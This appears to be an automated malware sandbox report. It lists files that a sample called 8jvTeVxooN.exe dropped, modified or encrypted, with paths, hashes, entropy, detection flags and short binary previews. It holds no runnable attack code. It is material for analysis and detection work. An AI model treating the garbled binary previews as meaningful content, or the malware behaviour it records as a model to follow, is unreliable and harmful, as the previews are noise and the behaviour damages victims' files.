Preview:	<svg .MUk..a..I...l..d.........Sj..r.@.n.9...Oq.o.1O...Y..{..'...v..id.Hv..(.....Q...\l..k.Y.o.p"...+1.Zj.....Ydv...G+.."VpZH].$..e.!.4.....T.iA...~..AK.?..(F...G...&$_eu=o^I.+..Qf.MM..E....YC...$..r.sF.Q.b1.+...&....3.m./.......-......q.'L.`.\|....."}..F..#.....S.`>......$.)d.+.^.A:H.?B........::.\|..pa....A2q..h."y.UDR..'......>.{...K.\|...p.M...x.J...ge...%.V.V..`K....ntm..wv...B..=.e4E..`.....Y..=..w<.B.i...T..N..g......T....Ym.5.r..Z....nn.YE...&j.19...7@E. \|.H...(I.v...?.W^ ..+....0.....q.l.....{...7...5X;.......\~..G..$-..&$..f.zw{.!.h...:..C/..%3..;\.S)gd6......wq9....g.f.L...H3.wPbD..)..).D#..?j.{Q.....&..=..@T...P^.....t.....v..... ........t......B.8...D%..0..`......^.e.2.F:...am,.......y.q...9.....?x..U&.b..WP*...T...I.A.$..J/.../.=.~...).?..A.ck.H.w...9.. q.B..I.x...A...{{..Ny.u.....5a.p9.$..Th.cS....[.}$.."..qY).m...y.r.B..(..............u9.0..f..b....}..(.%N...u........k:.OMRI....RN>.r7c.....z.%.N,..T...y..R?%......t.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\IDX_CONTENT_TASKBARHEADLINES.json

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	149024
Entropy (8bit):	7.998764323989097
Encrypted:	true
SSDEEP:	3072:R6U5AkKubEXhBcUhRgxZxKK6+ckMyKTxc08Hp7bFLB6T:R6UakKhBLoZxKK6+4tTeBFL+
MD5:	6E654972FCCC830146EAB00FF89F7C26
SHA1:	EC79AD77F7FB8B8E8258F06FDDCD8E97B7AC46AA
SHA-256:	370BBA9EE98E615C5A833EEDF4A76EF9733223BED600791B30E1AEE2C96E4177
SHA-512:	3B99BA779AA89B0883401B13595E0A6EE637E56E4EDA95BD94996B030EC086A4BB0D69E32F305268556FA82C0217FC4E0E199C8C6F923768E31BA25D0F9D12A9
Malicious:	true
Preview:	{"loc....Q!M..O..f5.g..>....u'.q..6..q.@^..iO..Y....U.z..% ..o.....[..$.X.z.{_o..._...... 3'C......}K%(H.......z7.)%.!G....-[... ~d.iLJ...Z..E(.B..`....&..%).Bm.U...........Z...W<".Q...f....e.....Y.0.H.4.U.fn.q.<7Zy..&.WY.....w.(.X.......f.B.3...S.8rK+..p.47.;..^..K...9.:..-. f{..:.6...K"..H.X.._L....r.wJ.3J.. ..u...n[}....Z.....5..s.\|.....}_...P.....Fu..9..$................ ...Eo....{...\;:)f...EaP.J.5..{...Pi.+.jI..M.G...L..yk.@..~...9.X.P..P!.Ikf..8.~..+9.v.....2>.`..J......T.4..J.^...g.a_.H.V6.eQ.,._h..[../.;...[.`.V.Q.[.....V...,..f.5......VS.pr.~.....tQ.t..!...4.......k.......i.........._.^..n.,g.l.1..v.;.......v....UZ7.0lg.XBY..\....V..U'.`..p[.(SA....%.'$....:.L;ej6..K..z(...2......Y6./.w$.....h.....'..Hz...5Rc...'..[.P.T..R....F.p..+..H-WC..:.kd....e..2.5y\|.......r.g[.N...\..(B..g:..D...TI..N..v.m....x..H.@l@...:Bf.....B....B7@X.......;....pr\-.B(...v.........LViP.-r....{54-.8`.=.qs..<..Olp.....xaW.._=......%.Q.M......lv../.(z.},..~DF

C:\Users\user\AppData\Local\Packages\Microsoft.WindowsAlarms_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.974520047815087
Encrypted:	false
SSDEEP:	192:+V6CMYCxeUqdoWpqPEs7Cw14ULXNAcpbkxI+mEgk:+9MY1UEA8sWwJNoiXEx
MD5:	9DBC1D92D847C76D186E105B5305F9A8
SHA1:	465372C36F623A0E76E96DC6B0B5CB9C2269343E
SHA-256:	29E2DA170643BB9780C6D9B5B6B477362B5EA7D9188C520314AA73F3AAA669B0
SHA-512:	125E3DA7B2B25D6D50FD8016FF388EBC32A75D8B98C3E9FD4AE7772C53462F9B20DCD66E7B2CF1EE94E01014D12DD01DD2E8198F8D2946440C8BBC88B66BC138
Malicious:	false
Preview:	regf..C...;r..N$....O\..A[.S....r.....S..5d.....n....D...BV3q....:...c...7.st...]..fx.&.+.=.E..2l.By....\|W..=.G../X.5..Py<.^u.. ..~.5MN\.6....j.F.....peP..2.<..Er....[.8.B...X.JM... :..........I`f...Q......i...+.k.U.Zl?..j.6..i..L....a...z.\|. J.q.9.5ov....v2)..j...z..AP..f.P.'T.`..6..:...4....!....9......RO....n....bmP...5V2.iq.L.l....#.g....F9D....&j#&#.X.[y5~...5....~..........-:../.:_@Pq}..GLg.W.z.7%....sK-..........G.s?.S-@X.../.z^.../.~\|...6....s...<...7.(.?...Z...+.mZ..}...D:......n.P9>.>..`;DM..j.u1..N.D.....U.....IK.K..D..Uq.K.U..C:^~.^X...63.-1Cn....1#...58.)`..;..iw..H.9..'....nk.!@......+.....6sd..D$5......p @H!..o..].E......9.$./..C.3Z......T..J..7G..\|.Q,...H/.^m.T.$l. rw......A.i..p^..f.&(T;....L.Q..=.,..o..$>.x....l...B......&......4+.;.)..l..E5.B.(......~..o..hy.&...{.d......~...q..:o..a....R.9.2"7.%F;._\|.r8<...#.K,:. -.D..........2=.'.Y.p.'z<.b....4.m.(%g....6.m..6&.wA. 4...x.&y.........._...#..4..^p-....d\|a6Z

C:\Users\user\AppData\Local\Packages\Microsoft.WindowsAlarms_8wekyb3d8bbwe\Settings\settings.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980217053059516
Encrypted:	false
SSDEEP:	192:t+IDsygkzMy9zVelt0V6gTs17UDKDZrYdxoija7/M:QIDBMyUtk6uu7U21YrcE
MD5:	49017A6141CED34E72D2BEA4AB006066
SHA1:	5B57894412B4CD9F8274FA87794E1BF0171F859F
SHA-256:	BC8EE2D9941C602DF6E19F2BE0F1876AA460F678A57AC7FE3B79BFFDB81962E6
SHA-512:	B741595D262162F9BF217D6FBC4FD2FA8F5B5F02B4934A976652B2FBA03F95502528E9602927F42C1A0685F39911C6694827C742D90122923216BC992A5F6613
Malicious:	false
Preview:	regf.....3:..c...4.{.i:.d.P.B.............l3...G.........O.o...<h.?o...;B.3lAv.=..#U...#.+.....t..g.. .g.#..&........D2..\={....Zrn....K..B..)r..j./T.......De..t2W....x3w..^...o..z...k..P\...O....t.).AW/,..).%?~....8R9,&.\|.$.,P.o...X..^....:t\..K.O}1.q...A...[Ryq.CyU4..7d...q......ay.S....[....N.8......aD..+v.GVL.....9a.U..V...3....j..f5G......w.].[.j....S....SQq...p......nXq...D.....W....a:.~~....6-...:..AA..%.Ym.dO....A.Q......P[#.M....1.I...j...\.....d(...)<.<....Q.D....\|....7F....&..&.....7..`.......m...r7.F.=.1d..z}...........r...0.}D.j.m.y...+e/.....s...H.V.(..:X..l1X8o./....;.,.k[.{....'.....g........1.$.L.Z.fp3.8.../........O...q......].7U.[....[.=.V:....w.wM..q..]...s.hB..._4.R..>.E..........YF..O.&.@..#u..y[..Ih.~ss..Q..9$."KB4...O.+q,.. >b..E..................3..i..k.6.X.V-W..<?.^.80{...(.D.lq.....1......s..Z..Lu.C,s^q..x.3.i...&.LR..2?.(....y.#=.{.xv........:.. ...%p..T..4.*-.`....yD-Vf@.!.2.....pJv(q~..UX.O....V./....=c..J.

C:\Users\user\AppData\Local\Packages\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\LocalState\DiagOutputDir\LogFile_October_3_2023__13_9_20.txt

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	615
Entropy (8bit):	7.597945089409109
Encrypted:	false
SSDEEP:	12:B02IYGheUYyvIrH6p1DgsPqxeY3f5jH9XlfHi3hZGOESILGbZuOcii9a:B02FxUYGIrap1DgsPqxe2BpBa7Ueb4OX
MD5:	E4511A5518E391ADC8F36665718B67C6
SHA1:	B074941CECA1D17C97AC359E2F994DAE5C47F609
SHA-256:	AF95A9AF8266B139B2E7C2F9269C8E424CCCAFE4DF11B93FEBE8E12C289C4865
SHA-512:	9CFF59E2CC3915EBDC58182A75BA9310F83314A99364F30F53DAB7EED4778B4AA5ACE284B11A1BC1CF99A279DC26AEEB9A8F9EC9DF60257EBAD169A4F780D797
Malicious:	false
Preview:	[000:9...'p.)\.Wk3#..e.....l..z.H>..X\|..Y...J..E.V4...6.....e`@..Y#...~i%...sO..7....w.e..P.9..;.....--.u.. ...1>>...+=..Mc.....0.f.Y..s.^.b/...J.S.'..1[t.L.+....?vD.]S..O..X..........d....6y.'...S_...0......sc.....w...Tr...}....[F.....ohpGrI.T..d.28..V..\X.E.@\..\g..k...CH.7.......op..R...^>{~(V......CB.]...%,........{..0.D.Do."...dW./x.9.....M..........Q.}.Mc.B.t....K.4T<u*T@.'.^.4...p[...Q2rD...r.6....V....R..{.d......J.%._../;&D.....V..+..4V.q....{...I.]....._e..{..Eu`4..zj..3yZ....I..<../......6..H..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	8547662
Entropy (8bit):	5.205065721549712
Encrypted:	false
SSDEEP:	49152:UDG38OPKW0ANge+q80Ibxh0T4tI6lIfKi5YJj1PKu1ZKKOd:UMF1qd/LKNd
MD5:	957762D66E0C44C290D4B46CDB9CC429
SHA1:	BA6F894D04D7B69B99D2BFEF0E5BF9AE4F843B9A
SHA-256:	17A026D5DB46B7F4BE938008754EA2D1CFFEDF09923FC6FED7E93C575049DB20
SHA-512:	025FF8ECBDA10B2BB819DC77507F20F80204E05862BFE7A5690F214642FF021D573D72571A5632176436DA19B9045674C0630D48D9AB872294BEDDD678E9F715
Malicious:	false
Preview:	Micro.......d...1.."..`>-..R'm...<Iaf..i.w.nQ$.Z.....p.......v..4.o,.:...G..!/.Xl.u7...^.;.m......Q..... ..t.V.U.}3.....&...s@.8.l)....>V...O-.K7......wv.........H.Z1m_.~......!.##...#\|G.lz~p...2..wM.@.V..#b..r.5....Z..D..k.......W.9...3.X.T.I...[..)...D......!..k..)C..q.......Hj.{..\1.Y..\.......)1....z(...(......A...~#8.D.e=.XY...%.?..........4........&......tOUg.O....E... .K2....(...;.d..t...D.....7....el...py@h.H.....7(.....e.&.Zg...&;.Z.lM.3$.j.G@_d..eO..0.(b._...jFC.Xq.4.o:.;..D....v..e[~=..B.3<.U...f.K2.h...j....c..<.N..N..$..X....}.6.U.z{.....}[.K..y.i(.+....T...Gj..7u..9.9r.6.ss...q.\...c...Ws.@BS....q[..M..2.HPE..S.$SmX./.T.w.I..R&.q9.2..q..M.-..CI.......b.h.J.w.P9.o...L)..\o...BR.....[...u.)..Q..X-.s..i...q,.~Z..CXn.,[I...\~+O~.b.Q;...u..?.X.e.4tb+`O..O...j.....<+.....NE..x....j...m 6.....Xev.B.k\.p..yF\#U.k.pL/.....J.q...A..e..m...$XO.gi.I..p.A..;7..4L....&.u.^/\..b.;.UT....x.G.......O....rZ.O..,.O.y.A].4.`.oJtv.._

C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	8547662
Entropy (8bit):	5.204973544111141
Encrypted:	false
SSDEEP:	49152:VaWGC38OPKW0ANge+q80Ibxh0T4tI6lIfKi5YJj1PKu1ZKKO9:VlvF1qd/LKN9
MD5:	0EA62828C72E2FA1B90808AF0CC7CB6C
SHA1:	8AD6810E936930408BE0CE20E94C6848915A74CB
SHA-256:	128285C548A050C331DD4B94154D1980172B59975859DF99CF8D166E8C80DD06
SHA-512:	EBF592FF1E158B0CFE908B85EA116048BE2FA497E4FD7B67DB4E86ABC5F9FD85519205A58B4121DF26E820DDD7A45129B00733A5F813D7C02943477BD6AF2B58
Malicious:	false
Preview:	Micro8.,...<.2t~x.P.o.y.....zjg..D aY..M~-]+.....Y...m9..(.@.c.]:%.?..Q"..f.!.ce.z..q.a...\|....mj...Y....._..)O^suG....tX.zQ{K.zI...~....EWw....z...........&..S.I.c.....L.V.Jlc..ea#......3.....v........S....j...s?c{.z.H".q..Tb.smn.....~#.3....e......0.Y..j.'xd...4.g\|m...l8/X.Z...1.m.&p.k..\.-.G.=....;]..j.h..d-[...G..2..%....s...qqi...0.'.)G3......tvw..A..vs..o.( .Y.k..9.'.....2AB.^.....:..m...d.../.......R..r...C..[=.ys....j.O.R..[..sI.vZ..\1...h\| ...mQg.i..^..VA...z..y..e.e)....'0........oj.......!.X.$V......8....0..Uw6.Kso..g..RD..wv=.F...$...fO1Q=.B.......6.E.7..[...cr...aYc.r"..a....@e.qX....=.pe-=x..../+.Q....FP.U7[.....V..VT^.A.R..U......f.\...[..jr4..r..P...........N.zl.W..."...7..[.i..ZJ..j`.B......h.gH.K.S.?.[....K..n....(.~.......~......4..pK.;&..D..e....`...,.Z..(....Y...H.....W"......N..w.#w........=.ta0>_.......o.d.._..?>[^..n.1..}E*...`H5I.N.....R...X..l.....=1.>...A...W...."~..@..#......a.......x`.........s.Z....&.H

C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1192270
Entropy (8bit):	5.66225081613992
Encrypted:	false
SSDEEP:	12288:gSVxTZT66nbYN70lgKAJQ4aKVmaS4aMz8Pg3lxJo2cvXt6:XVxTZtnkNBKABaKVzaYcAqt6
MD5:	868A02F5F5874FF3815001BDCBBB0870
SHA1:	96ADEC2C0E589D7964546050AC098ECD63E401F1
SHA-256:	C49DD460787290432EDB26D4067014896C3AFED05545ED63ED1D4CEED44575A0
SHA-512:	2E9C01A6711BEF43436D6DC0E8CED74473215C6DDD8F836A2597EF981EC1927EAC53CDAAF4C18020A1778E9874BC94C80909A33E63B2ED2FB437BF0C942BB1D0
Malicious:	false
Preview:	Micro../Tha1....l}`..UDS./..iE.A..=.s..G.3....._...P..P.c........C.\.&.[.d..2...l0?--...-..P~.~_..oxj.k..V.,B.G..PE..T..t.u...$i...@i..Q.}....cc%T{..b.FS..4`:~.r+Nk.D2V.......J..9..9}7O.1.]....K.d\|s....&.6%ggf..7...qEc8....y..7..a0....%.=..[....\|.W.#..3.4%M.Z7]..^........6.....e...Y4B.I....0J...lV..&-.BQ.H...x...,.P..2...g`.._.b.t2.b.._...s:X@.1.!D.+U....r.ML.F;...vP....y,..B../!.S.rT...TL...x~.Tj...-...\...v.,....bc.\fV.K....,.T7..J.uxaC(.Z.......u....~..N^..(.nK.JE@.,.6.g.P ..=...fLs.;...\|,.9....h...e.......7.[....s.).^......{9)m...@...z.}w.@6C@...m.....]Mh.v.3n.O...L....}}.'.........=...\c.....I..).#....jc].....\|.]Z....f5....mt.F...h.\|~rFg..!.......m...y.r..mHMS..%I\....^..k.E...G....;.U....x;....s^...3.^.a7...'.fc<c.]C.`kY..O.K.....F...w.Xr.T...C.RX.?]"ZwRq...<DM.F......X..-..#..."....&...`.H.z>.ez9...RzJQ.Co...u..._.s.b....b.Qy.8....hng2N.8..P.......fQoL..;..........'^K...hQ...[#._.5..@...Y.k.TAPl. .Y.i....-..Y.Z....5.

C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1192270
Entropy (8bit):	5.6621049967760815
Encrypted:	false
SSDEEP:	12288:c9TqTyr8+u9VWvJQ4aKVmaS4aMz8Pg3lxJo2cvXtL:c9TqTyr8+u9IBaKVzaYcAqtL
MD5:	E16F0B236F06F9C4E0C6B30D405C070A
SHA1:	E04A7051CABD4566D46FBA03C4F9A68F34994999
SHA-256:	E2E033F2724138BE365E6418A4F1592C9857BED743DB00681CADB8ED57C0F7ED
SHA-512:	4A9009ED2CDF18EA16C24D0C35C878281C2DCABDA9E146802A381907EB573222D104A5F3EAFB20B3F1AC2DFE15D359D0CFCEA264806FF4CDFA2D32A44EE02D1F
Malicious:	false
Preview:	Micro.d5....L'....a....Fm...O.....QJ.J..N..tk.".o.....`[......t..U...#.8..'....3.s.....d...yu"Ea.<$...\|.:......4`7..I..]VD.!]?....4!iU5E.{B!.0.B......4.;.y.?.....%..Dr.)...l..Z..4..:.=.....\GR....f....\N......tD......&..9...c.........dE.B.S..t..._!...N~.....;....fm3.H..Z..kE.m69w\."..G.2t.._.Z.-....X...M..b3...a?.r.h>j.8....C.v..C..........)..[e.vu,O.-...!............[b^.L..#d.z4.o6.nT..4.......9.L0.[^.....X......[.=...c..,..+...O...u.....F.x-,.T.s........(.)... ma..)...WM....k.. _T...][./......Z\.5..e@.)S.l......{.'....r....J..K...U&j....... .g..#....%..%...$.Oo.6WfV.F...[.\|..i..%...2.U..T<....6.U.G1R.....#[.....2.cE`..U...,:3>.G..@F.}..m.....0...Zp@..I...jg.. .u.]$i.K.X]tAF\.dsTN.hC..F..x,.\..(Yy7..+..S.....!S`..... ..c!.....j....@9)R..\.-4...l.,./..w32{.....DV......n./"..H..A}.....Fk.w...9.8..w.^....i.k?n.^.&.v!?f..xjxI..4.6...."\|....d\.jQ.9k5.oyt.Q~.............L.No..i1....Cg.6..![H:..r....S.9.Fs....ewO...[7..GLA....$.<...F'R...h.Gv..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	24210
Entropy (8bit):	7.991713666583884
Encrypted:	true
SSDEEP:	384:a8hX+o27ALJQDEWI58vaMvMMKgrkk6GcHtgggv3x35Ot6jQ/X12gEKVr:a84o20JQnIKSMMMK9kLcH/mhJO0ja8vG
MD5:	BB96CB20AF38959FBABA49C6D6830E0C
SHA1:	330E64F789455807C5D3A878C87DDB68488EFE3A
SHA-256:	4981BCB49D64957EDE2B35C4DB5166374D3F8A6E061FC682965C82F53A2C11AD
SHA-512:	823EA4CC4E726876F2DC9BA55D3961EB7C985D6E8D8C8F4FA00D661B434C958522D15CAEBA0F9FCF6073FA0D89C80AEE3C4A4B5C4F8A5310740B3A43D9EA4A7B
Malicious:	true
Preview:	03-10Z.H..@....................'I.......^.}.q.nwA\|.....:..........Wpqm...2....@I......../....O.....P..j..=n../Yv.m..G......R......j.......p.\|=5.g...L.......M.o/.`poJ.q....`S.cC3......%..7H..P......Go.!..T.6{u.....y,.G..4..].N..}...O..q..HW..Jb..os...C..f..N...(>..z.qs.AdK........to...%...=.7Si.e..c>.c...c#.....Q.......^.h.$C..I.....n...;....N.....MF...d....b..c......g..c^.o.n.6x..E...I..=.9.NP.).{wr...F..m. ..a..@..3u=.+.C.....[D..<M.E.........#..]6^..I4...}..N..{.m..5.4+>.J.`(.7../..........C..X.....R ..P.v......c8.]w.....W..."1Y.9u^.v ..p...FF..ZD.i.../s......&t.CFf..Bn.g.p..p(.%./!IPT\|v.o.y....o.)...'.w./.9.......f ....]1.........\...Qz$Q..~\|X[..........]..Q..~.-\|g.7IQ}4&..T..ai..{..!..o,.........d....,.gQp vfk.-h.r..k.EA..B..e..7=...'0..3........fzp`.Z.D.\>..F...z.!~?.q..V.....h%.B$.....<....,.~..?..Z...Bu_lh.<..._t...../......$.w.........Z..pl._..(....~H....8.v.X...T...f.........._4[}d..@+D..\.6..7.....j..i<..`..5.3.r.b.>b6.G.y.....u.

C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	851456
Entropy (8bit):	7.578214596804277
Encrypted:	false
SSDEEP:	24576:LtSUbR9X6EqqMJPf4k2kriUyd19SfZ7Q:LtVRNxMJPf4qyJI
MD5:	EFD7D885536EF4FD62CBC513BBE04D6E
SHA1:	7E3A86188066EAA404A60C9686624FDA1B12AE51
SHA-256:	6C0BD6CAE657449A07DCB78940EA732D7E4E24546477B083116BFF4C99BD417D
SHA-512:	D983BE29E14760E67722FA2D5A0C09F55D34A2528FAED9EBDBDBB957A3CB6DE1F806177EB40241DCCFDBE6C8CFB0669459B9B7144F0807A5BD5BC2852AABC70D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 53%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%G..a&.La&.La&.Llt`L\|&.Llt_L.&.Llt^LM&.Lh^,Lf&.La&.L.&.L.ZL`&.LltdL`&.L.aL`&.LRicha&.L................PE..L......e............................_?............@.................................3...........................................P.......0...............................8...............................@............................................text............................... ..`.rdata.............................@..@.data....]..........................@....rsrc...0...........................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\bowsakkdestx.txt

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1051
Entropy (8bit):	7.80029649188467
Encrypted:	false
SSDEEP:	24:OFrPHtCKo9pSYDohyj+rjkN6JEUkAVe6clkqolxoObD:OFr/tXopwhyqrjkIJEfAVmqllD
MD5:	069CE5C24CF93710C6C1FA6E1B4C42AB
SHA1:	2F8E33BD783F5AADA31F870C841E3B904AD3A001
SHA-256:	58F431B3DFF1C98C45B4436F99146DAB370EDE9CC125C62C322D79527EBA619C
SHA-512:	9B991F709768EB2D166C7083B05CAE81E375DF6F7AFE99827AFF776DA042E5095726BAC4D455F171470B921E238D388E5E58147B99A6DE41828962680E656188
Malicious:	false
Preview:	i.=.37m./.,'.M..,....?y...$..Q...p+...g....}...l.F..1ZC!b[L.../.uT....^..T..>.z......N..j9.m.v}.>.....w.L....yi.XA..y;U.Fc...A\|..V...#.jg.S..m$..0l)r.]E.O..8c5(8&!3O..r...8......M...K.En..+e.a."..0......,..b3{$.<0..w.c.F..I...j...=..se....2.Y.../..Qy.\e...?F.P.p{..?...;e....3X........5.>.@.e<....r"A0CTq.E..y.....M[....N.S..l".q.i\|..;f7........z.&...2..]..n..l.?..a.....d.V<:.;Z.R....~..nU:....U....Ea.~..m...n..<e..M(mgH.Kj...dw.Z.......-[.1..h..V..P..R.T......%1......%._....g....z.y5D#Zg......x.,........Se4d...?(.*.3.8...}.c.....Y..Hrd.B..-.^...b%.RY.V/^p.}.P...r..'....s..=..T.0.......^.+......T.(.L...:/.b..J..b.S\|.A.).!.....> .o.s.2.B.t!.&.r....D.....!.(.............F~..hR.P.s....tb...._..EF....J..}b./.;...x.Z...[.%..K...S.B.p....x.Im.i....L.uM.....{.......:..(.....%.)X....t....ly2ri..<..#..:.FMoT.\...4..[n...l~..\|;...GC.JXY.a1...9^....3.....@Eh.-m.../.4._..$.K..X.....,...@.I4.....G.f..=...Z$...]tc.K1..Y`&U8[yZ6iwSvCoAt8T8K2ROxecuXHPNHv

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	67138
Entropy (8bit):	7.997241068860289
Encrypted:	true
SSDEEP:	1536:IGex/vARn7s3h7dFL3l0kOSJx7euRg5xb7v7hZsE:8vM7s3lj7xvm517DYE
MD5:	EBE9CA56856C5629D077E1BB226E7584
SHA1:	96ED3724084C2B57E94C3C9165DC527F9BAC9D29
SHA-256:	53F08D4E2E3AFCBA31E7F429E53D41D871E287210C8EAC41E291A542C0AD3848
SHA-512:	150E69F857543DAC5E42B54B740CC7345953C977C78E27479168B20A30850F3696E87B3DB167568EE710EFD27459F737523426995D28805A18D6D60E3ED0A017
Malicious:	true
Preview:	0....]......S...............EU.u.R.0....{...[.\\.G...<<.=..de...\.......\....`...z...K...~L.......).4....H......:{......?.b.....AkX.8O.U.z....a...3%TxX.".k.42v.u..h.S.V.uZr.u-../..J.....5...............fu.y...I.....Z./..P.tT.,.q.....M'Kc......].....c\|l.......M...v+...mB.)"...\|.v.2.....b"...M.......v./..7~q.2E[.......g$.~...nU.F.c.x..W....G.'..Q.....Nmc..1...I.9.e.{.v.....86.T......8.F6..l...(>7r..........P.6u..#...>zH.V..n.?.G..;\|...2.~{,.?...>..n[m'.-.i.={........,Q......}.U.6_.3.2..A6p[...5z.._...h.\|.AfX...;y...hi.'=....~~..QbX.R.....6ln%...}?.*t...M...6.jL.p..[..u\|...a...Zs....(v.T....&OMJ.&P...+..5@...Y@.(5...B.y._}T.G.AT.....F......u%f.4..1..>......Y.[.... ...X......wi<...X.c..;3..7....\|.T..'..I9..V..{H.g.E..}R..g...92.,.;w.&....1..Y.)eb...4#.S...k.Iin6....n.H...%..@..T..aP\.....D.`..d.f!...}S.+)?.....:..9...H..[ X.-....z.N....)6...5...I..r..8..:..Fo@'~...e..yv\90;%.b)._.X./w........>Q._..nw.t3. +...o.........nh..;.m.....p`..u..3Bt1......]

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1071
Entropy (8bit):	7.769786825828913
Encrypted:	false
SSDEEP:	24:yAlfL8AS7RktvWO/J0wC09PP1CnUw6971q0kV5BMalIMObD:yAlVS9LIFC019C969o7V5uzD
MD5:	DDEA4C184D047F8AAF0D2B31B4FF2329
SHA1:	5B93E973213E62FD49188339ABDAD4BF9743051A
SHA-256:	C7ABFB50E0EB6045323D7CFA08C082F086087484213792E2F80785047925C0B1
SHA-512:	D2A15367AED5DCAF5AB041E1D6D5416E2878E617705610E7B6B24636BA3F905B269F0EAF36816F23695AC7B8F06559EFA99397FE08B84BCD0577C2873EFC7315
Malicious:	false
Preview:	0...0.K.....f..0ye!X....5.....O...nD..0-.RW7..hd../o..c.Y...pt0U\E .@....7....mL..g^=.p_k.......$..Y......`.[.?E}.s...R.7o@.....O.Y\.eEf..~.y.im._N{..hW.....86.d.9..u.@...4......[..k..n...Q..... ..`r..1 .y@.....y4?...e.7<~.?.h~~..y....M..>....._...{....C..+)x.4....`..B..._....V2Y...@.7...)I.r...R.&._)a...Y.....BT.....o.x1$...a?9C.....L..U.B.,[.H..`.....,z...`FM..p Jy.w.."`..3....I.W.6....FF&...0.@..pDZ.......&..._..E... ....H.sjT..Cbq.-R.p...s..2..........&.R>K~....9..]t.g..n..y.../q..b...U...0..eVO..q..8.#.23.)D..b.40.....i....z../."..j@...M.l.5F$s....5_..)FO.1.h.7...rL.8..F......8...Ihqu...\|?.M...cz...;.f}......a......}..8B.9.COE.Qz.$}.$.j..&.j.........%.0...SI..}.:.........b..D.....s..C..l..\|.d..5&.....u'.\.A!..9.t..P2.-..}h.j4.8..aw..c..ZZ..S.l._......bw...C....k.A.h..yh.M..~...8....g.~..5.w...=.....hq..$7....N.K.x.>&.Fp...}......Y..yC.....f.........~I-F.j9>:(..{...M=G.A...9X.s..e..*\....+.Tw..&9DV ......7.x....:.7..VZ6iwSvC

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\TMDocs.sav

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	370
Entropy (8bit):	7.291684832727704
Encrypted:	false
SSDEEP:	6:p8r1C+MzeRiiSFg9rX/rJggACWFIQwR8XptZxYw6wuBscii96Z:p8kjS8F+zPrWbwEFYwfuOcii9a
MD5:	5D946A964DB7348281A59D9BBF8CAECA
SHA1:	A8AB5C521B160FE574199EB4DBBBDD2BB08CE133
SHA-256:	3F1685254F6130B168F5FDBD2244F24D2F8E6E6E9E2B8B67D67FC032E60FC9A3
SHA-512:	9D21EA57CB7353DD2A608F0B6DC69E0A9DF2D88EE4F68D6B20175A2F1D2964A69F237C61453B4CB10AE98A1E300591B1B05D8D80B2C0081C17F7B5E58E8ACC18
Malicious:	false
